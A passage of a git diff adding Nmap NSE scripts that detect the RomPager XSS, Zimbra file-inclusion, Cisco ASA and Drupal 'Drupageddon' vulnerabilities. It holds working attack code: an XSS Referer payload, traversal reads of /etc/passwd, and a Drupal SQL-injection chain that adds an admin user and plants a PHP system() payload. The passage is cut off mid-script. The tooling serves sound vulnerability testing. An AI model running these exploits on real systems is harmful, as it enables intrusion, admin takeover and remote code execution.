+ title = 'URL redirection and reflected XSS vulnerability in Allegro RomPager Web server',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+Devices based on Allegro RomPager web server are vulnerable to URL redirection
+and reflected XSS. If Referer header in a request to a non existing page, data
+can be injected into the resulting 404 page. This includes linking to an
+untrusted website and XSS injection.]],
+ IDS = {
+ CVE = "CVE-2013-6786",
+ BID = "63721",
+ },
+ references = {
+ 'https://antoniovazquezblanco.github.io/docs/advisories/Advisory_RomPagerXSS.pdf',
+ },
+ dates = {
+ disclosure = {year = '2013', month = '07', day = '1'},
+ },
+ }
+
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local header = { ["Referer"] = '"><script>alert("XSS")</script><"' }
+ local open_session = http.get(host, port, "/"..rand.random_alpha(16), { header = header })
+ if open_session and open_session.status == 404 then
+ stdnse.debug2("got 404-that's good!")
+ if open_session.body:match('"><script>alert%("XSS"%)</script><"') then
+ vuln.state = vulns.STATE.EXPLOIT
+ -- vuln.extra_info = open_session.body
+ stdnse.debug1("VULNERABLE. Router answered correctly!")
+ return vuln_report:make_output(vuln)
+ end
+ end
+end
diff --git a/scripts/http-vuln-cve2013-7091.nse b/scripts/http-vuln-cve2013-7091.nse
new file mode 100644
index 0000000..9d35749
--- /dev/null
+++ b/scripts/http-vuln-cve2013-7091.nse
@@ -0,0 +1,121 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+
+description = [[
+An 0 day was released on the 6th December 2013 by rubina119, and was patched in Zimbra 7.2.6.
+
+The vulnerability is a local file inclusion that can retrieve any file from the server.
+
+Currently, we read /etc/passwd and /dev/null, and compare the lengths to determine vulnerability.
+
+TODO:
+Add the possibility to read compressed file.
+Then, send some payload to create the new mail account.
+]]
+
+---
+-- @usage
+-- nmap -sV --script http-vuln-cve2013-7091 <target>
+-- nmap -p80 --script http-vuln-cve2013-7091 --script-args http-vuln-cve2013-7091=/ZimBra <target>
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-vuln-cve2013-7091:
+-- | VULNERABLE:
+-- | Zimbra Local File Inclusion and Disclosure of Credentials
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2013-7091
+-- | Description:
+-- | An 0 day was released on the 6th December 2013 by rubina119.
+-- | The vulnerability is a local file inclusion that can retrieve the credentials of the Zimbra installations etc.
+-- | Using this script, we can detect if the file is present.
+-- | If the file is present, we assume that the host might be vulnerable.
+-- |
+-- | In future version, we'll extract credentials from the file but it's not implemented yet and
+-- | the detection will be accurate.
+-- |
+-- | TODO:
+-- | Add the possibility to read compressed file (because we're only looking if it exists)
+-- | Then, send some payload to create the new mail account
+-- | Disclosure date: 2013-12-06
+-- | Extra information:
+-- | Proof of Concept:/index.php?-s
+-- | References:
+-- |_ http://www.exploit-db.com/exploits/30085/
+--
+-- @args http-vuln-cve2013-7091.uri URI. Default: /zimbra
+---
+
+author = {"Paul AMAR <aos.paul@gmail.com>", "Ron Bowes"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln","intrusive"}
+
+portrule = shortport.http
+
+-- function to escape specific characters
+local escape = function(str) return string.gsub(str, "%%", "%%%%") end
+
+action = function(host, port)
+ local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/zimbra"
+
+ local vuln = {
+ title = 'Zimbra Local File Inclusion (Gather admin credentials)',
+ state = vulns.STATE.NOT_VULN, -- default
+ IDS = {CVE = 'CVE-2013-7091'},
+ description = [[
+This script exploits a Local File Inclusion in
+/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz
+which allows us to see any file on the filesystem, including config files
+that contain LDAP root credentials, allowing us to make requests in
+/service/admin/soap API with the stolen LDAP credentials to create user
+with administration privileges and gain access to the Administration Console.
+
+This issue was patched in Zimbra 7.2.6.
+]],
+ references = {
+ 'http://www.exploit-db.com/exploits/30085/',
+ },
+ dates = {
+ disclosure = {year = '2013', month = '12', day = '06'},
+ },
+ }
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ local file_short = "../../../../../../../../../dev/null"
+ local file_long = "../../../../../../../../../etc/passwd"
+ --local file_long = "../../../../../../../../../opt/zimbra/conf/localconfig.xml"
+
+ local url_short = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=" .. file_short .. "%00"
+ local url_long = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=" .. file_long .. "%00"
+
+ stdnse.debug1("Trying to detect if the server is vulnerable")
+ stdnse.debug1("GET " .. uri .. escape(url_short))
+ stdnse.debug1("GET " .. uri .. escape(url_long))
+
+ local session_short = http.get(host, port, uri..url_short)
+ local session_long = http.get(host, port, uri..url_long)
+
+ if session_short and session_short.status == 200 and session_long and session_long.status == 200 then
+ if session_short.header['content-type'] == "application/x-javascript" then
+ -- Because .gz format is somewhat odd, giving a bit of a margin of error here
+ if (string.len(session_long.body) - string.len(session_short.body)) > 100 then
+ stdnse.debug1("The website appears to be vulnerable a local file inclusion vulnerability in Zimbra")
+ vuln.state = vulns.STATE.EXPLOIT
+ return vuln_report:make_output(vuln)
+ else
+ stdnse.debug1("The host does not appear to be vulnerable")
+ vuln.state = vulns.STATE.NOT_VULN
+ return vuln_report:make_output(vuln)
+ end
+ else
+ stdnse.debug1("Bad content-type for the resource : " .. session_short.header['content-type'])
+ return
+ end
+ else
+ stdnse.debug1("The website seems to be not vulnerable to this attack.")
+ return
+ end
+end
diff --git a/scripts/http-vuln-cve2014-2126.nse b/scripts/http-vuln-cve2014-2126.nse
new file mode 100644
index 0000000..c4a5259
--- /dev/null
+++ b/scripts/http-vuln-cve2014-2126.nse
@@ -0,0 +1,88 @@
+local anyconnect = require('anyconnect')
+local shortport = require('shortport')
+local vulns = require('vulns')
+local sslcert = require('sslcert')
+local stdnse = require "stdnse"
+
+description = [[
+Detects whether the Cisco ASA appliance is vulnerable to the Cisco ASA ASDM
+Privilege Escalation Vulnerability (CVE-2014-2126).
+]]
+
+---
+-- @see http-vuln-cve2014-2127.nse
+-- @see http-vuln-cve2014-2128.nse
+-- @see http-vuln-cve2014-2129.nse
+--
+-- @usage
+-- nmap -p 443 --script http-vuln-cve2014-2126 <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 443/tcp open https
+-- | http-vuln-cve2014-2126:
+-- | VULNERABLE:
+-- | Cisco ASA ASDM Privilege Escalation Vulnerability
+-- | State: VULNERABLE
+-- | Risk factor: High CVSSv2: 8.5 (HIGH) (AV:N/AC:M/AU:S/C:C/I:C/A:C)
+-- | Description:
+-- | Cisco Adaptive Security Appliance (ASA) Software 8.2 before 8.2(5.47), 8.4 before 8.4(7.5), 8.7 before 8.7(1.11), 9.0 before 9.0(3.10), and 9.1 before 9.1(3.4) allows remote authenticated users to gain privileges by leveraging level-0 ASDM access, aka Bug ID CSCuj33496.
+-- |
+-- | References:
+-- | http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa
+-- |_ http://cvedetails.com/cve/2014-2126/
+
+
+author = "Patrik Karlsson <patrik@cqure.net>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+
+portrule = function(host, port)
+ return shortport.ssl(host, port) or sslcert.isPortSupported(port)
+end
+
+action = function(host, port)
+ local vuln_table = {
+ title = "Cisco ASA ASDM Privilege Escalation Vulnerability",
+ state = vulns.STATE.NOT_VULN,
+ risk_factor = "High",
+ scores = {
+ CVSSv2 = "8.5 (HIGH) (AV:N/AC:M/AU:S/C:C/I:C/A:C)",
+ },
+ description = [[
+Cisco Adaptive Security Appliance (ASA) Software 8.2 before 8.2(5.47), 8.4 before 8.4(7.5), 8.7 before 8.7(1.11), 9.0 before 9.0(3.10), and 9.1 before 9.1(3.4) allows remote authenticated users to gain privileges by leveraging level-0 ASDM access, aka Bug ID CSCuj33496.
+ ]],
+
+ references = {
+ 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa',
+ 'http://cvedetails.com/cve/2014-2126/'
+ }
+ }
+
+ local vuln_versions = {
+ ['8'] = {
+ ['2'] = 5.47,
+ ['4'] = 7.5,
+ ['7'] = 1.11,
+ },
+ ['9'] = {
+ ['0'] = 3.10,
+ ['1'] = 3.4,
+ },
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local ac = anyconnect.Cisco.AnyConnect:new(host, port)
+ local status, err = ac:connect()
+ if not status then
+ return stdnse.format_output(false, err)
+ else
+ local ver = ac:get_version()
+ if vuln_versions[ver['major']] and vuln_versions[ver['major']][ver['minor']] then
+ if vuln_versions[ver['major']][ver['minor']] > tonumber(ver['rev']) then
+ vuln_table.state = vulns.STATE.VULN
+ end
+ end
+ end
+ return report:make_output(vuln_table)
+end
diff --git a/scripts/http-vuln-cve2014-2127.nse b/scripts/http-vuln-cve2014-2127.nse
new file mode 100644
index 0000000..1754d6e
--- /dev/null
+++ b/scripts/http-vuln-cve2014-2127.nse
@@ -0,0 +1,88 @@
+local anyconnect = require('anyconnect')
+local shortport = require('shortport')
+local vulns = require('vulns')
+local sslcert = require('sslcert')
+local stdnse = require "stdnse"
+
+description = [[
+Detects whether the Cisco ASA appliance is vulnerable to the Cisco ASA SSL VPN
+Privilege Escalation Vulnerability (CVE-2014-2127).
+]]
+
+---
+-- @see http-vuln-cve2014-2126.nse
+-- @see http-vuln-cve2014-2128.nse
+-- @see http-vuln-cve2014-2129.nse
+--
+-- @usage
+-- nmap -p 443 --script http-vuln-cve2014-2127 <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 443/tcp open https
+-- | http-vuln-cve2014-2127:
+-- | VULNERABLE:
+-- | Cisco ASA SSL VPN Privilege Escalation Vulnerability
+-- | State: VULNERABLE
+-- | Risk factor: High CVSSv2: 8.5 (HIGH) (AV:N/AC:M/AU:S/C:C/I:C/A:C)
+-- | Description:
+-- | Cisco Adaptive Security Appliance (ASA) Software 8.x before 8.2(5.48), 8.3 before 8.3(2.40), 8.4 before 8.4(7.9), 8.6 before 8.6(1.13), 9.0 before 9.0(4.1), and 9.1 before 9.1(4.3) does not properly process management-session information during privilege validation for SSL VPN portal connections, which allows remote authenticated users to gain privileges by establishing a Clientless SSL VPN session and entering crafted URLs, aka Bug ID CSCul70099.
+-- |
+-- | References:
+-- | http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa
+-- |_ http://cvedetails.com/cve/2014-2127/
+
+author = "Patrik Karlsson <patrik@cqure.net>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+
+portrule = function(host, port)
+ return shortport.ssl(host, port) or sslcert.isPortSupported(port)
+end
+
+action = function(host, port)
+ local vuln_table = {
+ title = "Cisco ASA SSL VPN Privilege Escalation Vulnerability",
+ state = vulns.STATE.NOT_VULN,
+ risk_factor = "High",
+ scores = {
+ CVSSv2 = "8.5 (HIGH) (AV:N/AC:M/AU:S/C:C/I:C/A:C)",
+ },
+ description = [[
+Cisco Adaptive Security Appliance (ASA) Software 8.x before 8.2(5.48), 8.3 before 8.3(2.40), 8.4 before 8.4(7.9), 8.6 before 8.6(1.13), 9.0 before 9.0(4.1), and 9.1 before 9.1(4.3) does not properly process management-session information during privilege validation for SSL VPN portal connections, which allows remote authenticated users to gain privileges by establishing a Clientless SSL VPN session and entering crafted URLs, aka Bug ID CSCul70099.
+ ]],
+
+ references = {
+ 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa',
+ 'http://cvedetails.com/cve/2014-2127/'
+ }
+ }
+
+ local vuln_versions = {
+ ['8'] = {
+ ['2'] = 5.48,
+ ['3'] = 2.40,
+ ['4'] = 7.9,
+ ['6'] = 1.13,
+ },
+ ['9'] = {
+ ['0'] = 4.1,
+ ['1'] = 4.3,
+ },
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local ac = anyconnect.Cisco.AnyConnect:new(host, port)
+ local status, err = ac:connect()
+ if not status then
+ return stdnse.format_output(false, err)
+ else
+ local ver = ac:get_version()
+ if vuln_versions[ver['major']] and vuln_versions[ver['major']][ver['minor']] then
+ if vuln_versions[ver['major']][ver['minor']] > tonumber(ver['rev']) then
+ vuln_table.state = vulns.STATE.VULN
+ end
+ end
+ end
+ return report:make_output(vuln_table)
+end
diff --git a/scripts/http-vuln-cve2014-2128.nse b/scripts/http-vuln-cve2014-2128.nse
new file mode 100644
index 0000000..ee7811e
--- /dev/null
+++ b/scripts/http-vuln-cve2014-2128.nse
@@ -0,0 +1,89 @@
+local anyconnect = require('anyconnect')
+local shortport = require('shortport')
+local vulns = require('vulns')
+local sslcert = require('sslcert')
+local stdnse = require "stdnse"
+
+description = [[
+Detects whether the Cisco ASA appliance is vulnerable to the Cisco ASA SSL VPN
+Authentication Bypass Vulnerability (CVE-2014-2128).
+]]
+
+---
+-- @see http-vuln-cve2014-2126.nse
+-- @see http-vuln-cve2014-2127.nse
+-- @see http-vuln-cve2014-2129.nse
+--
+-- @usage
+-- nmap -p 443 --script http-vuln-cve2014-2128 <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 443/tcp open https
+-- | http-vuln-cve2014-2128:
+-- | VULNERABLE:
+-- | Cisco ASA SSL VPN Authentication Bypass Vulnerability
+-- | State: VULNERABLE
+-- | Risk factor: Medium CVSSv2: 5.0 (MEDIUM) (AV:N/AC:L/AU:N/C:P/I:N/A:N)
+-- | Description:
+-- | The SSL VPN implementation in Cisco Adaptive Security Appliance (ASA) Software 8.2 before 8.2(5.47, 8.3 before 8.3(2.40), 8.4 before 8.4(7.3), 8.6 before 8.6(1.13), 9.0 before 9.0(3.8), and 9.1 before 9.1(3.2) allows remote attackers to bypass authentication via (1) a crafted cookie value within modified HTTP POST data or (2) a crafted URL, aka Bug ID CSCua85555.
+-- |
+-- | References:
+-- | http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa
+-- |_ http://cvedetails.com/cve/2014-2128/
+
+author = "Patrik Karlsson <patrik@cqure.net>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+
+portrule = function(host, port)
+ return shortport.ssl(host, port) or sslcert.isPortSupported(port)
+end
+
+action = function(host, port)
+ local vuln_table = {
+ title = "Cisco ASA SSL VPN Authentication Bypass Vulnerability",
+ state = vulns.STATE.NOT_VULN,
+ risk_factor = "Medium",
+ scores = {
+ CVSSv2 = "5.0 (MEDIUM) (AV:N/AC:L/AU:N/C:P/I:N/A:N)",
+ },
+ description = [[
+The SSL VPN implementation in Cisco Adaptive Security Appliance (ASA) Software 8.2 before 8.2(5.47, 8.3 before 8.3(2.40), 8.4 before 8.4(7.3), 8.6 before 8.6(1.13), 9.0 before 9.0(3.8), and 9.1 before 9.1(3.2) allows remote attackers to bypass authentication via (1) a crafted cookie value within modified HTTP POST data or (2) a crafted URL, aka Bug ID CSCua85555.
+ ]],
+
+ references = {
+ 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa',
+ 'http://cvedetails.com/cve/2014-2128/'
+ }
+ }
+
+ local vuln_versions = {
+ ['8'] = {
+ ['2'] = 5.47,
+ ['3'] = 2.40,
+ ['4'] = 7.3,
+ ['6'] = 1.13,
+ ['7'] = 1.11,
+ },
+ ['9'] = {
+ ['0'] = 3.8,
+ ['1'] = 3.2,
+ },
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local ac = anyconnect.Cisco.AnyConnect:new(host, port)
+ local status, err = ac:connect()
+ if not status then
+ return stdnse.format_output(false, err)
+ else
+ local ver = ac:get_version()
+ if vuln_versions[ver['major']] and vuln_versions[ver['major']][ver['minor']] then
+ if vuln_versions[ver['major']][ver['minor']] > tonumber(ver['rev']) then
+ vuln_table.state = vulns.STATE.VULN
+ end
+ end
+ end
+ return report:make_output(vuln_table)
+end
diff --git a/scripts/http-vuln-cve2014-2129.nse b/scripts/http-vuln-cve2014-2129.nse
new file mode 100644
index 0000000..1246c81
--- /dev/null
+++ b/scripts/http-vuln-cve2014-2129.nse
@@ -0,0 +1,86 @@
+local anyconnect = require('anyconnect')
+local shortport = require('shortport')
+local vulns = require('vulns')
+local sslcert = require('sslcert')
+local stdnse = require "stdnse"
+
+description = [[
+Detects whether the Cisco ASA appliance is vulnerable to the Cisco ASA SIP
+Denial of Service Vulnerability (CVE-2014-2129).
+]]
+
+---
+-- @see http-vuln-cve2014-2126.nse
+-- @see http-vuln-cve2014-2127.nse
+-- @see http-vuln-cve2014-2128.nse
+--
+-- @usage
+-- nmap -p 443 --script http-vuln-cve2014-2129 <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 443/tcp open https
+-- | http-vuln-cve2014-2129:
+-- | VULNERABLE:
+-- | Cisco ASA SIP Denial of Service Vulnerability
+-- | State: VULNERABLE
+-- | Risk factor: High CVSSv2: 7.1 (HIGH) (AV:N/AC:M/AU:N/C:N/I:N/A:C)
+-- | Description:
+-- | The SIP inspection engine in Cisco Adaptive Security Appliance (ASA) Software 8.2 before 8.2(5.48), 8.4 before 8.4(6.5), 9.0 before 9.0(3.1), and 9.1 before 9.1(2.5) allows remote attackers to cause a denial of service (memory consumption or device reload) via crafted SIP packets, aka Bug ID CSCuh44052.
+-- |
+-- | References:
+-- | http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa
+-- |_ http://cvedetails.com/cve/2014-2129/
+
+author = "Patrik Karlsson <patrik@cqure.net>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+
+portrule = function(host, port)
+ return shortport.ssl(host, port) or sslcert.isPortSupported(port)
+end
+
+action = function(host, port)
+ local vuln_table = {
+ title = "Cisco ASA SIP Denial of Service Vulnerability",
+ state = vulns.STATE.NOT_VULN,
+ risk_factor = "High",
+ scores = {
+ CVSSv2 = "7.1 (HIGH) (AV:N/AC:M/AU:N/C:N/I:N/A:C)",
+ },
+ description = [[
+The SIP inspection engine in Cisco Adaptive Security Appliance (ASA) Software 8.2 before 8.2(5.48), 8.4 before 8.4(6.5), 9.0 before 9.0(3.1), and 9.1 before 9.1(2.5) allows remote attackers to cause a denial of service (memory consumption or device reload) via crafted SIP packets, aka Bug ID CSCuh44052.
+ ]],
+
+ references = {
+ 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa',
+ 'http://cvedetails.com/cve/2014-2129/'
+ }
+ }
+
+ local vuln_versions = {
+ ['8'] = {
+ ['2'] = 5.48,
+ ['4'] = 6.5,
+ },
+ ['9'] = {
+ ['0'] = 3.1,
+ ['1'] = 2.5,
+ },
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local ac = anyconnect.Cisco.AnyConnect:new(host, port)
+ local status, err = ac:connect()
+ if not status then
+ return stdnse.format_output(false, err)
+ else
+ local ver = ac:get_version()
+ if vuln_versions[ver['major']] and vuln_versions[ver['major']][ver['minor']] then
+ if vuln_versions[ver['major']][ver['minor']] > tonumber(ver['rev']) then
+ vuln_table.state = vulns.STATE.VULN
+ end
+ end
+ end
+ return report:make_output(vuln_table)
+end
diff --git a/scripts/http-vuln-cve2014-3704.nse b/scripts/http-vuln-cve2014-3704.nse
new file mode 100644
index 0000000..2091a90
--- /dev/null
+++ b/scripts/http-vuln-cve2014-3704.nse
@@ -0,0 +1,430 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local url = require "url"
+local vulns = require "vulns"
+local openssl = require "openssl"
+local rand = require "rand"
+
+description = [[
+Exploits CVE-2014-3704 also known as 'Drupageddon' in Drupal. Versions < 7.32
+of Drupal core are known to be affected.
+
+Vulnerability allows remote attackers to conduct SQL injection attacks via an
+array containing crafted keys.
+
+The script injects new Drupal administrator user via login form and then it
+attempts to log in as this user to determine if target is vulnerable. If that's
+the case following exploitation steps are performed:
+
+* PHP filter module which allows embedded PHP code/snippets to be evaluated is enabled,
+* permission to use PHP code for administrator users is set,
+* new article which contains payload is created & previewed,
+* cleanup: by default all DB records that were added/modified by the script are restored.
+
+Vulnerability originally discovered by Stefan Horst from SektionEins.
+
+Exploitation technique used to achieve RCE on the target is based on exploit/multi/http/drupal_drupageddon Metasploit module.
+]]
+
+---
+-- @see http-sql-injection.nse
+--
+-- @usage
+-- nmap --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.cmd="uname -a",http-vuln-cve2014-3704.uri="/drupal" <target>
+-- nmap --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.uri="/drupal",http-vuln-cve2014-3704.cleanup=false <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-vuln-cve2014-3704:
+-- | VULNERABLE:
+-- | Drupal - pre Auth SQL Injection Vulnerability
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2014-3704
+-- | The expandArguments function in the database abstraction API in
+-- | Drupal core 7.x before 7.32 does not properly construct prepared
+-- | statements, which allows remote attackers to conduct SQL injection
+-- | attacks via an array containing crafted keys.
+-- |
+-- | Disclosure date: 2014-10-15
+-- | Exploit results:
+-- | Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux
+-- | References:
+-- | https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
+-- | https://www.drupal.org/SA-CORE-2014-005
+-- | http://www.securityfocus.com/bid/70595
+-- |_ https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3704
+--
+-- @args http-vuln-cve2014-3704.uri Drupal root directory on the website. Default: /
+-- @args http-vuln-cve2014-3704.cmd Shell command to execute. Default: nil
+-- @args http-vuln-cve2014-3704.cleanup Indicates whether cleanup (removing DB
+-- records that was added/modified during
+-- exploitation phase) will be done.
+-- Default: true
+---
+
+author = "Mariusz Ziulek <mzet()owasp org>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "intrusive", "exploit"}
+
+portrule = shortport.http
+
+--- Appends a new multipart/form-data part to a table
+local function multipart_append_data(r, k, data, extra)
+ r[#r + 1] = string.format("content-disposition: form-data; name=\"%s\"", k)
+ if extra.filename then
+ r[#r + 1] = string.format("; filename=\"%s\"", extra.filename)
+ end
+ if extra.content_type then
+ r[#r + 1] = string.format("\r\ncontent-type: %s", extra.content_type)
+ end
+ if extra.content_transfer_encoding then
+ r[#r + 1] = string.format("\r\ncontent-transfer-encoding: %s", extra.content_transfer_encoding)
+ end
+ r[#r + 1] = string.format("\r\n\r\n%s\r\n", data)
+end
+
+--- Creates multipart/form-data message as defined in RFC 2388
+local function multipart_build_body(content, boundary)
+ local r = {}
+ local k, v
+ for k, v in pairs(content) do
+ r[#r + 1] = string.format("--%s\r\n", boundary)
+ if type(v) == "string" then
+ multipart_append_data(r, k, v, {})
+ elseif type(v) == "table" then
+ if v.data == nil then return nil end
+ local extra = {
+ filename = v.filename or v.name,
+ content_type = v.content_type or v.mimetype or "application/octet-stream",
+ content_transfer_encoding = v.content_transfer_encoding or "binary",
+ }
+ multipart_append_data(r, k, v.data, extra)
+ else
+ return nil
+ end
+ end
+
+ r[#r + 1] = string.format("--%s--\r\n", boundary)
+ return table.concat(r)
+end
+
+local function extract_CSRFtoken(content)
+ local pattern = 'name="form_token" value="(.-)"'
+ local value = string.match(content, pattern)
+ return value
+end
+
+local function itoa64(index)
+ local itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
+ return string.sub(itoa64, index + 1, index + 1)
+end
+
+local function phpass_encode64(input)
+ local count = #input + 1
+ local out = {}
+ local cur = 1
+
+ while cur < count do
+ local value = string.byte(input, cur)
+ cur = cur + 1
+ table.insert(out, itoa64(value & 0x3f))
+
+ if cur < count then
+ value = value | (string.byte(input, cur) << 8)
+ end
+ table.insert(out, itoa64((value >> 6) & 0x3f))
+
+ if cur >= count then
+ break
+ end
+ cur = cur + 1
+
+ if cur < count then
+ value = value | (string.byte(input, cur) << 16)
+ end
+ table.insert(out, itoa64((value >> 12) & 0x3f))
+
+ if cur >= count then
+ break
+ end
+ cur = cur + 1
+
+ table.insert(out, itoa64((value >> 18) & 0x3f))
+ end
+
+ return table.concat(out)
+end
+
+local function gen_passwd_hash(passwd)
+ local iter = 15
+ local iter_char = itoa64(iter)
+ local iter_count = 1<<iter
+ local salt = rand.random_alpha(8)
+
+ local md5 = openssl.md5(salt .. passwd)
+ for i = 1, iter_count do
+ md5 = openssl.md5(md5 .. passwd)
+ end
+
+ local dgst = phpass_encode64(md5)
+ local h = '$P$' .. iter_char .. salt .. string.sub(dgst, 0, 22)
+ return h
+end
+
+local function do_sql_query(host, port, uri, user)
+
+ local adminRole = 'administrator'
+ local sql_user
+ local sql_admin
+ local passwd
+ local email
+ local passHash
+ local query
+
+ if user == nil then
+ user = rand.random_alpha(10)
+ passwd = rand.random_alpha(10)
+ passHash = gen_passwd_hash(passwd)
+ email = rand.random_alpha(8) .. '@' .. rand.random_alpha(5) .. '.' .. rand.random_alpha(3)
+
+ stdnse.debug(1, string.format("adding admin user (username: '%s'; passwd: '%s')", user, passwd))
+ sql_user = url.escape("insert into users (uid,name,pass,mail,status) select max(uid)+1,'" .. user .. "','" .. passHash .. "','" .. email .. "',1 from users;")
+
+ sql_admin = url.escape("insert into users_roles (uid, rid) VALUES ((select uid from users where name='" .. user .. "'), (select rid from role where name = '" .. adminRole .. "'));")
+
+ query = sql_user .. sql_admin
+ else
+ stdnse.debug(1, string.format("removing admin user (username: '%s')", user))
+
+ sql_user = url.escape("delete from users where name='" .. user .. "';")
+
+ sql_admin = url.escape("delete from users_roles where uid=(select uid from users where name='" .. user .. "');")
+
+ query = sql_admin .. sql_user
+ end
+
+ local r = "name[0;" .. query .. "#%20%20]=" .. rand.random_alpha(10) .. "&name[0]=" .. rand.random_alpha(10) .. "&pass=" .. rand.random_alpha(10) .. "&form_id=user_login&op=Log+in"
+
+ local opt = {
+ header = {
+ ['Content-Type'] = "application/x-www-form-urlencoded"
+ }
+ }
+ local res = http.post(host, port, uri .. "?q=/user/login", opt, nil, r)
+
+ if string.match(res.body, "includes[\\/]database[\\/]database%.inc") and string.match(res.body, "addcslashes%(%)") then
+ return user, passwd
+ end
+
+end
+
+local function set_php_filter(host, port, uri, session, disable)
+
+ -- enable PHP filter
+ if not disable then
+ stdnse.debug(1, "enabling PHP filter module")
+ else
+ stdnse.debug(1, "disabling PHP filter module")
+ end
+
+ local opt = {}
+ opt['cookies'] = session.name ..'='.. session.value
+
+ local res = http.get(host, port, uri .. "?q=/admin/modules", opt)
+ if res == nil then return nil end
+
+ local csrfToken = extract_CSRFtoken(res.body)
+
+ local enabledModulesPattern = 'name="([^"]*)" value="1" checked="checked" class="form%-checkbox"'
+ local data = {}
+ for m in string.gmatch(res.body, enabledModulesPattern) do
+ data[m] = 1
+ if disable and m == 'modules[Core][php][enable]' then
+ data[m] = nil
+ end
+ end
+
+ if not disable then
+ data['modules[Core][php][enable]'] = 1
+ end
+ data['form_token'] = csrfToken
+ data['form_id'] = 'system_modules'
+ data['op'] = 'Save configuration'
+ res = http.post(host, port, uri .. "?q=/admin/modules/list/confirm", opt, nil, data)
+ if res == nil then return nil end
+
+ return true
+end
+
+local function set_permission(host, port, uri, session, disable)
+
+ -- allow Administrator to use php_code
+ if not disable then
+ stdnse.debug(1, "setting permissions for PHP filter module")
+ else
+ stdnse.debug(1, "restoring permissions for PHP filter module")
+ end
+
+ local opt = {}
+ opt['cookies'] = session.name ..'='.. session.value
+
+ local res = http.get(host, port, uri .. "?q=/admin/people/permissions", opt)
+ if res == nil then return nil end
+
+ local csrfToken = extract_CSRFtoken(res.body)
+
+ local enabledPermsRegex = 'name="([^"]*)" value="([^"]*)" checked="checked"'
+ local data = {}
+ for key, value in string.gmatch(res.body, enabledPermsRegex) do
+ data[key] = value
+ if disable and key == '3[use text format php_code]' then
+ data[key] = nil
+ end
+ end
+
+ if not disable then
+ data['3[use text format php_code]'] = 'use text format php_code'
+ end
+ data['form_token'] = csrfToken
+ data['form_id'] = 'user_admin_permissions'
+ data['op'] = 'Save permissions'
+ res = http.post(host, port, uri .. "?q=/admin/people/permissions", opt, nil, data)
+ if res == nil then return nil end
+
+ return true
+end
+
+local function trigger_exploit(host, port, uri, session, cmd)
+
+ local opt = {}
+ opt['cookies'] = session.name ..'='.. session.value
+
+ -- add new Content page & trigger RCE
+ stdnse.debug(1, string.format("%s", "creating new article page with planted payload"))
+
+ local res = http.get(host, port, uri .. "?q=/node/add/article", opt)
+ if res == nil then return nil end
+
+ local csrfToken = extract_CSRFtoken(res.body)
+
+ stdnse.debug(1, string.format("%s", "calling preview article page & triggering exploit"))
+ local pattern = '"' .. rand.random_alpha(5)
+ local payload = "<?php echo '" .. pattern .. " '; system('" .. cmd .. "'); echo '".. pattern .. " '; ?>"
+ local boundary = rand.random_alpha(16)
+ opt['header'] = {}
+ opt['header']["Content-Type"] = "multipart/form-data" .. "; boundary=" .. boundary
+
+ local files = {
+ ['title'] = 'title',
+ ['form_id'] = 'article_node_form',
+ ['form_token'] = csrfToken,
+ ['body[und][0][value]'] = payload,
+ ['body[und][0][format]'] = 'php_code',
